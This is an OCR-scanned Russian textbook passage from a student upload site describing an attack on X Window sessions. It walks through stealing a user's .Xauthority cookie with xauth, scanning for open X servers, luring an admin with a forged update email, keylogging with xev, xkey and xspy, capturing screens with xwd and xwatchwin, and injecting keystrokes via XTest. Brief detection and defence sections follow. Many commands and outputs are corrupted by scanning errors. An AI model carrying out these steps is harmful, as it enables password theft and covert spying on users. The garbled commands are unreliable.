Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
СРС_ИПОВС_МСЗИ.doc
Скачиваний:
41
Добавлен:
05.06.2015
Размер:
1.79 Mб
Скачать

XTest позволяет клиенту переправлять события другому клиенту. Такими событиями могут быть нажатия клавиш. При этом событие через сервер может пересьиаться другому клиенту в

приводить к тем же результатам, что и локальное событие на сервере. Расширения XTest пред­назначены для проверки функциональности сервера XWindow без участия пользователя. Кро­ме того, эти расширения используются в программах, например Mercator project, и в ин­терфейсе А2х программы Dragon Dictate для обеспечения доступа слепым.

Принцип работы

Данный метод эффективен в том случае, если взломщику удалось проникнуть в компь­ютер компании, находящийся на внешней стороне брандмауэра. Чтобы не усложнять из­ложение материала в данном разделе, будем считать, что брандмауэр не выполняет маски­ровку IP-адресов. Пользователь внутренней сети должен использовать сервер XWindow в момент взлома. Если внутренний сервер XWindow использует только аутентификацию ти­па xhost, взломщику нет необходимости получать права суперпользователя на внешней машине. Однако если внутренний сервер XWindow использует авторизацию типа XAuth, которая поддерживает длинный зашифрованный пароль (это аутентификация, основан­ная на cookie), внешний пользователь должен иметь доступ к внешнему компьютеру с пол­номочиями суперпользователя. Это нужно для того, чтобы получить доступ к файлу cookie, а затем к внутреннему серверу XWindow. Для этого можно воспользоваться одним из двух описанных ниже сценариев.

При использовании первого сценария (см. рис. 14.19) считается, что брандмауэр не блокирует подключения к портам 6000, исходящие от внешнего компьютера, а админист­ратор компьютера, на котором установлен сервер Xwindow, позволяет подключение из внешней сети. Такое случается редко, однако все же случается, когда администратор хочет воспользоваться графическими утилитами, запущенными на удаленном сервере, и не хо­чет пользоваться консолью удаленного компьютера.

Внутренние Брандмауэр пользователи, t

сервер X Window Внешний компьютер

Рис. 14.19. Внешний пользователь получает доступ к внешнему компьютеру

Во втором сценарии, который более распространен, брандмауэр блокирует порты XWindow —TCP 6000, однако позволяет подключение через telnet. Через это подключение туннелируется протокол XWindow, и администратор получает возможность обращаться к удаленному компьютеру. В таком случае аутентификация производится автоматически. Аутентификация будет проводиться автоматически с помощью программы, выполняющей туннелирование. Это достигается за счет использования псевдонима команды, который производит автоматическое тунеллирование. Во втором случае администратору даже не надо запускать клиент XWindow на удаленном компьютере.

Для успешного взлома по первому или второму сценарию при использовании XAuth внутренний пользователь должен установить соединение XWindow с внешним компьюте­ром. Взломщик может просто подождать, пока жертва попытается подключиться, или спровоцировать внутреннего пользователя на подключение, нарушив работ)' внешнего компьютера.

На этом этапе, если используется авторизация XAuth, взломщик должен скопировать со­держимое файла ~username/ .Xauthority в свой рабочий каталог на внешнем компьюте­ре. Теперь этот пользователь получает разрешение на соединение с сервером XWindow.

Эффективность данного метода обусловлена тем, что после проведения аутенти<| ции на удаленном сервере XWindow он дает приложению такие же права, как и осталь клиентам XWindow. Клиент может получать изображения окон и снимать информаци клавиатуры без дополнительной аутентификации. Кроме того, если в системе XWind установлены расширения XTest, клиент может посылать другим программам события, вй пример нажатия клавиш или перемещения указателя мыши. Результат будет таким же, I если бы пользователь выполнял эти действия сам.

Способ применения

Чтобы объяснить, как работают программы, используемые в данном методе взлом! давайте перейдем сначала к тому этапу, на котором взломщик уже получил доступ к вней ней системе. В этом разделе мы ознакомимся только с этапами, необходимыми для успенс ного взлома, и опустим дополнительные этапы. Такими этапами могут быть установи программ, позволяющих узнать пароли других пользователей, а также сокрытие следм! Кроме того, мы будем считать, что после взлома системы внешний компьютер может а! гружать в нее программы.

Этап 1. Проверка наличия в удаленной системе подключенного пользователя. v

Первым делом взломщик должен узнать, установлено ли соединение с компьютером, на котором запущен сервер XWindow. Это поможет сэкономить время, которое понад» бится для ожидания, пока внутренний пользователь установит соединение с внешний компьютером. Для этого можно воспользоваться командой w, которая позволяет узнать, кто и с какого компьютера подключен к удаленному компьютеру.

# W

7:zIpm up 4:02, I user, Ioad average: 0.07, 0.08, 0.08 USER TTY FROM LOGING IDLE JCPU PCPU WHAT

root pts/3 internal99 7:09pm 11:56 0.L7s 0.10s -bash

По результатам работы команды w мы знаем, что в данный момент подключен польз» ватель с компьютера под названием internal99. Если к компьютеру не подключены пользователи или в данный момент используется его консоль, все равно остается несколь­ко вариантов

Этап 1а: Создать ситуацию, которая подтолкнет пользователя к подключению, если! системе не подключен пользователь. ]

Есть несколько способов спровоцировать пользователя на подключение к внешнему1 серверу. Например, можно создать проблемы в работе сервера с тем, чтобы администрач тор подключился к нему и попытался устранить проблему. Однако такой метод ненадежен,, поскольку в ходе проверки пользователь может провести проверку безопасности системы и засечь взлом. Вместо этого можно послать поддельное письмо, в котором администра­тору системы предлагается обновить текущую версию программ на сервере.

Этап 1б. Ожидание подключения пользователя.

Взломщик может просто подождать, пока к системе подключится пользователь. Это имеет смысл, если подключение к системе происходит периодически. Чтобы узнать о том, как часто производится подключение к системе, можно воспользоваться командой last. С помощью данной команды можно также узнать, с какого компьютера производилось подключение. В некоторых ОС для этого нужно указать ключ -R.

# last

root

pts/0

internal99

Wed

Jun

7

7'7l.16

- 17:17

(00:00)

root

pts/0

internal

Fri

Jun

2

19:51

- 19:53

(00:02)

r^^t

nrs/O

internal-7

wed

May

31

l-8:28

- 22:55

(04:2't)

r^^t

pts/0

internaf99

Tue

May

30

20:56

- 2O:56

(00:00)

По результатам работы этой команды можно узнать, сколько времени длился сеанс связи с удаленным компьютером и имя удаленного компьютера, на котором может быть установлен сервер XWindow.

Этап 1в. Поиск других компьютеров, позволяющих взлом.

Поиск можно провести несколькими путями. Во-первых, можно вручную запустить прило­жение XWindow, например xwininf о -root -children -display internal_host_name:Q, и передавать данной команде имена сканируемых компьютеров. Этот список можно получить после выполнения этапа 16, в котором используется команда last. Кроме того, можно упро­стить сканирование и воспользоваться внутренней командой UNIX nets tat с ключами -rn. В результате список IP-адресов может быть предсказан на основе таблиц маршрутизации.

После получения списка IP-адресов Можно воспользоваться программой сканирования портов, например nmap, чтобы узнать, какие системы принимают информацию через порт 6000. Наличие такого открытого порта, конечно, не означает, что на компьютере за­пущен сервер XWindow, который позволит подключение без аутентификации.

Существует программа xscan. Имея возможность сканирования, подобно nmap, она пы­тается запустить программу перехвата информации с клавиатуры компьютера, на котором запущен сервер XWindow. Этот метод является эффективным средством обнаружения серверов XWindow, не требующих аутентификации. Чтобы провести аутентификацию, можно просмотреть рабочие каталоги других пользователей и переписать из них файл -/.Xauthority. Если вы найдете такие файлы, можете пропустить этап 2.

# ./xscan 10.99.99 # 10.99.99 is the internal network

Scanning 10.99.99.1

Scanning hostname 10.99.99.1 ...

Connecting to 10.99.99.1 (10.88.88.88) on port 6000...

Host 10.99.99.1 is not running X.

Scanning hostname 10.99.99.99 ...

Connecting to 10.99.99.99 (10.88.88.88) on port 6000...

Connected.

Host 10.99.99.99 is running X.

Starting keyboard logging of host 10.99.99.99:0.0 to file

KEYLOG10.99.99.99:0.0...

Этап 2. Внутренний пользователь подключен. Считывание данных аутентификации.

После того как пользователь подключен, мы должны считать информацию, которая раз­решает пользователю доступ. Такая информация хранится в файле cookie. Для этого можно скопировать файл .Xauthority из рабочего каталога пользователя в свой рабочий каталог на том же компьютере. Проще всего это сделать с помощью следующих команд:

xauth nlist > /tmp/.Xauthority # резервное копирование старых файлов аутен­тификации

xauth -f -username/.Xauthority nlist | xauth nmerge - # включение данных ау­тентификации жертвы в свой файл аутентификации

cat /tmp/.Xauthority | xauth nmerge -; rm /tmp/.Xauthority # восстановление старых файлов аутентификации, если это нужно

В второй строке проводится объединение файлов аутентификации жертвы с вашим файлом аутентификации. Это может привести к стиранию существующих данных, поэто­му нужно проводить резервное копирование. Его нужно делать в том случае, если у вас есть подключение к другим серверам XWindow.

Отсутствие файла .Xauthority в рабочем каталоге внутреннего пользователя может означать, что на данном компьютере не запущен сервер XWindow или используется другая схема аутентификации, например xhost. Схема xhost основана на проверке IP-адреса. Кроме того, удаленное подключение к серверу XWindow может быть запрещено, однако в данном случае мы будем считать, что подключение разрешено.

Этап 3. Внутренний пользователь подключен. Определение имени дисплея пользоватещ Есть несколько команд, позволяющих определить, какой дисплей используется Щ ренним пользователем. Первая команда может быть использована, если в рабочем катам ге пользователя присутствует файл .Xauthority. Команда xauth list выводит списа имен виртуальных дисплеев, которые используются для подключения с помощи .Xauthority. Кроме того, можно воспользоваться командой last, описанной на эщ 16, и узнать, с какого компьютера производилось подключение. Довольно высока вероя| ность того, что имя дисплея будет состоять из имени компьютера, с которого производи ся подключение, за которым следует : 0, : 1 или другое число.

Кроме того, можно определить имя дисплея с помощью команды netstat. Данная» манда является встроенной для современных версий операционных систем UNIX. Кома» да netstat определяет номера портов для всех сетевых соединений, а также показывает, откуда и куда установлено соединение. Поскольку нас интересуют подключения черо порт 6000, который обычно является портом сервера XWindow, мы используем команд grep для фильтрации результатов выполнения команды netstat:

# netstat -an I grep ":60(0-9][0-9]" # Сеть 10.99.99 является внутренней tcp 0 0 10.88.88.88:1364 10.99.99.99:6000 esraalrSHeo tcp V 0 0.0.0.0:6000 0,0.0.0:* LISTEN

fcp 0 0 0.0.0.0:6012 0.0.0.0:* LISTEN

Теперь мы знаем, что внутренний компьютер 10 . 99 . 99 . 99, на котором запущен сервер XWindow, установил соединение через порт 6000 с внешним компьютером 10.88.88.6 Последние две цифры в номере порта указывают на номер используемого дисплея. Такик образом, имя удаленного дисплея в данном случае будет 10.99.99.99:0.

Стоит помнить, что программы, которые туннелируют протокол XWindow, часто н* страиваются по-разному и могут ожидать, что номер дисплея состоит как из одного так! из двух разрядов. Например, в случае, описанном выше, подключение к тому компьютеру, на котором была запущена команда netstat, происходило через порт 6012. В этом случае имя дисплея будет : 12, что позволяет присоединяться к удаленному серверу как к серверу на локальном компьютере. Если используется такое туннелирование, брандмауэр не м» жет фильтровать информацию, пересылаемую по протоколу XWindow. Это часто случает­ся при работе с программами туннелирования, которые скрывают истинный трафик.

Этап 4. Подключение к удаленному серверу XWindow и проверка подключения. I

На данном этапе было бы неплохо узнать, достаточно ли выполненных действий дам удачного подключения к серверу XWindow. Программа xwininfo, которая поставляется cL X11R6. позволяет быстро проверить это. Если программа завершится успешно, значит, можно устанавливать соединение.

# xwrninfo -root -disptay 1_0.99.99.99:0 I head _5 xwrnlnfo: window id: 0x26 (the root window) (has no name)

Absolute upper-feft X: 0 Absol-ute upper-1eft y: 0

Если программа возвращает ошибку, значит, нужно вернуться к этапу 1.

Этап 5. Аутентификация на сервере XWindow.

Для того чтобы убедиться в том, что вы имеете доступ к дисплею жертвы и можете поддерживать соединение, воспользуйтесь программой xcrowbar. Из исходного кода данной программы видно, что она содержит цикл, который использует функцию | XDisableAccessControI 6n6tuorewr Xl l.

# xcrowbar 10.99.99.99:O a

Этот метод является малоэффективным при использовании туннелирования, посколь-1 ку, если пользователь отключится, туннелированное соединение в обход брандмауэра прерывается. Для того чтобы поддерживать соединение, нужно на внешнем компьютере запустить приложение, которое посылало бы изображение жертве. Можно просто выпол­нить команду xlogo -display 10.99.99.99:0, однако это будет замечено пользовате­лем. Вместо этого можно запустить команду прослушивания клавиатуры, например xev (программа слежения за событиями X). Данная команда, описанная на следующем этапе, позволяет поддерживать соединение и будет обнаружена только в том случае, если поль­зователь запускает программы тунеллирования из командной строки. Тогда сообщения об ошибках будут выводиться на консоль.

# xwininfo -root -display 10.99.99.99:0 I grep root # Узнать идентификатор главного окна

xwininfo: Window id: 0x26 (the root window) (has no name)

# xev -id 0x26 -display 10.99.99.99:0 > /dev/null & # Поддерживать соедине­ ние открытым

Начиная с этого этапа, рекомендуется запустить программу, которая будет выполнять туннелирование протокола XWindow от внешнего компьютера к компьютеру, за которым сидит взломщик. Это необязательно, однако некоторые команды не будут работать пра­вильно или будут требовать дополнительной настройки, поскольку пользователю понадо­бится принимать графическую информацию с удаленных дисплеев.

Этап 6. Перехват ввода с клавиатуры внутреннего компьютера.

Существует несколько программ, позволяющих перехватывать ввод с клавиатуры внут­реннего пользователя. Первая из описанных здесь обычно поставляется с системой XWin­dow и называется xev. Название xev расшифровывается как X Event Viewer и позволяет про­водить слежение за событиями, включая нажатия клавиш на сервере XWindow. Поскольку данная программа помимо информации о нажатиях клавиш возвращает информацию об ос­тальных событиях, стоит воспользоваться командой grep для фильтрации вывода.

Программа xev позволяет проводить слежение только за одним окном и принимает в качестве параметра шестнадцатеричный идентификатор окна, за которым нужно следить. Для получения идентификатора окна и его текстового описания можно воспользоваться командой xwininfo.

# xwininfo -tree -root -display 10.99.99.99:0 I grep -i term

0x2c00005 "rootOinternal: /": ("GnomeTerminal" "GnomeTerminal.0") 566x256+0+0 +6+550

# xev -id 0x2c00005 -display 10.99.99.99:0 | grep XLookupString

Четырьмя наиболее популярными программами считывания информации с клавиату­ры являются xkey, xsnoop, xscan и xspy. Согласно исходным кодам как минимум одна из этих программ была создана более десяти лет назад.

Программа xkey не требует идентификатора окна, ей можно передавать только имя дисплея, однако данная программа не работает с окнами, которые были открыты после ее запуска. Эта программа вначале использует функции XOpenDisplay и XSelectlnput библиотеки Xlib, а затем— функции XNextEvent, XLookupString и XKeysymToString для перехвата ввода с клавиатуры.

# ./xkey 10.99.99.99:0 testingl23

# ./xsnoop -h 0x2c00005 -d 10.99.99.99:0 1 testingl23

Программа xscan похожа на xkey, однако пользователь может вместо имен дисплеев

задавать имена компьютеров и адреса подсетей. После этого программа создаст файл, в

; который будут записываться журналы ввода с клавиатуры для каждого из обнаруженных

дисплеев. Данная программа сканирует только порт 6000 (дисплей : 0), кроме того, она,

так же, как xkey, не отслеживает информацию с новых окон. В ней используются теа функции, что и в xkey.

# ./xscan j.0.99.99

Scanning hostname 1O.99.99.99 ...

Connecting to 10.99.99.99 (10.99.99.99) on port 6000...

Connected.

Host 10.99-99.99 rs runninq X.

Программа xspy имеет те же функции, что и xkey, однако результаты достигаюта| помощью функции XQueryKeymap, которая также снимает информацию о нажатии J виш с использованием быстрого цикла. При этом XQueryKeymap позволяет считыв нажатия клавиш из новых окон.

# ./xspy -display 10.ee.ee.ee:0 testl23

Эти утилиты позволяют считывать информацию с клавиатуры внутреннего Поль теля, а значит, узнавать имена и пароли при подключении к удаленному компьютеру. Кр»1 ме того, такие утилиты позволяют узнать, какие окна используются редко.

Этап 7. Получение изображения с экрана пользователя.

Так же, как и в случае снятия информации с клавиатуры, существуют программы, кото! рые делают снимок окна, запущенного на сервере XWindow. Две такие программы обычно! поставляются с системой XWindow и называются xwd и xwud. Первое название расшиф! ровывается как XWindow dump а второе как XWindow undump. В Internet можно достап! похожую программу, которая называется xwatchwin.

Программа xwd делает снимки отдельных окон и использует в качестве параметра! идентификатор окна. Кроме того, она может делать снимки всего дисплея, если запускае?! ся с ключом -root. Данная программа использует функцию XGetlmage. При запуске xwdl программа подает звуковой сигнал, который предупреждает пользователя о том, чтоа| ним следят. Программа xwud позволяет просматривать изображения, пересылаемые xwd

  • xwd -root -display 10.99.99.99:0 I xwud # следить за всем дисплеем

  • xwd -id 0x2c00005 -display 10.99.99.99:0 | xwud # или одним окном

Программа xwatchwin похожа на xwd тем, что тоже делает снимок экрана, однако при I этом она позволяет часто его обновлять. Кроме того, данная программа использует функ-1 цию XGetlmage. Если при ее запуске вы указываете идентификатор окна, он должен быть! представлен в виде шестнадцатеричного числа. Если вы все же хотите указывать иденти- J фикатор окна в десятичном виде, вы должны передавать его с ключом -int.

  • ./xwatchwin 10.99.99.99 root # показать весь экран,

  • ./xwatchwin 10.99.99.99 46137349 # или одно окно

Обратите внимание, что если сервер XWindow запустит программу хранителя экрана, вы будете видеть только заставку.

Этап 8. Нажатие клавиш с помощью XSendEvent.

Когда вся предварительная работа закончена, можно переходить к нажатию клавиш на 1 компьютере жертвы.

Я нашел только одну программу, которая делает это и называется xpusher. Данная про | грамма посылает серверу XWindow запрос с помощью функции XSendEvent, которой нужно передавать аргументами идентификатор окна и событие нажатия клавиши. При этом сервер XWindow помечает события, созданные функцией XSendEvent как синтетические. Пробле­ма заключается в том, что xterm автоматически игнорирует синтетические события, если параметр AllowSendEvents не включен. Чтобы включить его, нужно нажать клавишу

<Ctrl> с правой кнопкой мыши и в появившемся меню выбрать пункт AllowSendEvents. К сожалению, на моем компьютере программа xpusher не заработала.

$ ./xpusher -h 0x2c00005 -display 10.99.99.99:0

Этап 9. Нажатие клавиш на удаленной машине с помощью расширений XTest.

X11R6 включает в себя расширение XTest, которое часто компилируется в сервер XWindow по умолчанию. Расширение XTest позволяет клиенту сказать серверу, что кла­виша была нажата, однако такое событие не помечается как синтетическое. Это достига­ется за счет использования функции XTestFakeKeyEvent. Окно, в которое будет произ­водиться вывод, можно выбрать с помощью функции XSetlnputFocus. Кроме того, по­сле отправки события нажатия и отпускания клавиши будет полезно воспользоваться функцией XFlush, чтобы обновить картинку на экране.

Программа xtester нормально работала на платформе AIX, однако я не проверял ее на других компьютерах AIX, Sun или HP. Кроме того, программа нормально работала под ОС RedHat Linux. Эта программа по методам работы и функциональности схожа с xpusher.

$ ./xtester 0x2c00005 10.99.99.99:0

Симптомы атаки

Если вы хотите иметь возможность регистрировать данный вид взлома, вы должны иметь анализатор протокола, который понимает протокол XWindow. Если вы будете иметь возможность отслеживать попытку вызова события XSendEvent, вы сможете заблокировать ее. К сожалению, многие команды туннелирования скрывают данные на этапе формирова­ния потока, поэтому фильтрация может оказаться неэффективным методом защиты.

Пользователь может заметить странности в работе системы, например высокую загру­женность сети и сервера, которая возникает при пересылке изображений с экрана. Кроме того, программа xwd может подать звуковой сигнал при запуске. Признаком взлома также может быть произвольная смена активного окна.

Методы защиты

Лучшее, что вы можете сделать, это заблокировать порт 6000 с помощью брандмауэра и запретить использование всех программ, выполняющих туннелирование протокола XWindow к внешним компьютерам. Во многих программах, для которых туннелирование не является основной функцией, оно по умолчанию запрещено. Однако это ограничение можно обойти, если пользователи работают с XWindow настолько часто, что задают псевдонимы для программ, и в результате туннелирование производится для всех подключений XWindow.

Я слышал о программах, которые выводят диалоговое окно после того, как приложение пытается открыть дисплей. В этом окне пользователь определяет, разрешено ли данному приложению подключиться. Однако мне кажется, что такая программа будет забирать у пользователя слишком много времени.

Кроме того, существует расширение, которое поставляется с XWindow и называется Security. Это приложение выглядит перспективно и позволяет разделять соединения на доверенные и не доверенные. Задание того, каким будет cookie — доверенным или нет, происходит с помощью команды xauth. Кроме того, на сервере XWindow можно создать

' файл, в котором будет храниться информация о том, какие соединения являются дове­ренными, а какие нет.

Исходный код

Исходные коды программ можно найти на сервере www.rootshell.com, в разделе, посвященном взломам.